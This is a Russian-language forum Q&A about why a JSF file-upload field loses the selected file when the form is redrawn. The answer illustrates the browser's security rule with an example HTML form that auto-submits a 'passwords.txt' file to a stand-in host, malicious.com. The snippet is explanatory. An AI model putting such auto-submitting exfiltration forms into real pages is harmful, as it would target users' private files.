Привязка значения доступа UIComponent - PullRequest
1 голос
/ 14 июля 2011

Я использую <t:inputFileUpload> для загрузки файлов в моем приложении. Выбранный файл (представленный как объект UploadedFile) сохраняется только в его привязке (элемент в компоненте поддержки) после отправки формы. Поскольку в моем пользовательском интерфейсе используются динамические элементы, форма будет перерисована без отправки. В этом случае привязка значения становится недействительной, и пользователь должен повторно выбрать файл, используя <t:inputFileUpload>.

Конечно, это не очень удобно для пользователя. Даже без отправки <t:inputFileUpload> выбрасывает ValueChangedEvent, в который я хотел бы зарегистрировать обработчик событий, который копирует новое значение (то есть загруженный файл) в привязку значения (т. Е. Член поддерживающего компонента). Поскольку я хочу разрешить загрузку нескольких файлов, у меня есть массив UploadedFile объектов в качестве привязки значений, на которые ссылается JSF, например:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>

Теперь я хотел бы сделать что-то вроде этого:

UploadedFile[] myFiles;

public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}

Это как-то так возможно? Я еще не понял, как вызвать ValueBinding getValueBinding(String), чтобы это произошло так, как я хочу.

1 Ответ

2 голосов
/ 14 июля 2011

пользователь должен повторно выбрать файл, используя <t:inputFileUpload>.

Это не ограничение JSF. Это ограничение HTML. Компонент <t:inputFileUpload> отображает поле HTML <input type="file">. Возможность предварительно заполнить / сохранить такое поле является огромной дырой в безопасности и запрещена в HTML.

Чтобы лучше понять дыру в безопасности, посмотрите на следующий простой пример HTML:

<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
</form>
<script>document.getElementById("upload").submit();</script>

Если бы это было поддержано и кто-то открыл веб-страницу с вышеуказанной формой, passwords.txt был бы отправлен на сервер без какого-либо вмешательства пользователя!

Если что-то невозможно в HTML, то JSF уже не может многое сделать для вас (поскольку все, что он в основном делает, - это генерирует какую-то связку HTML).

...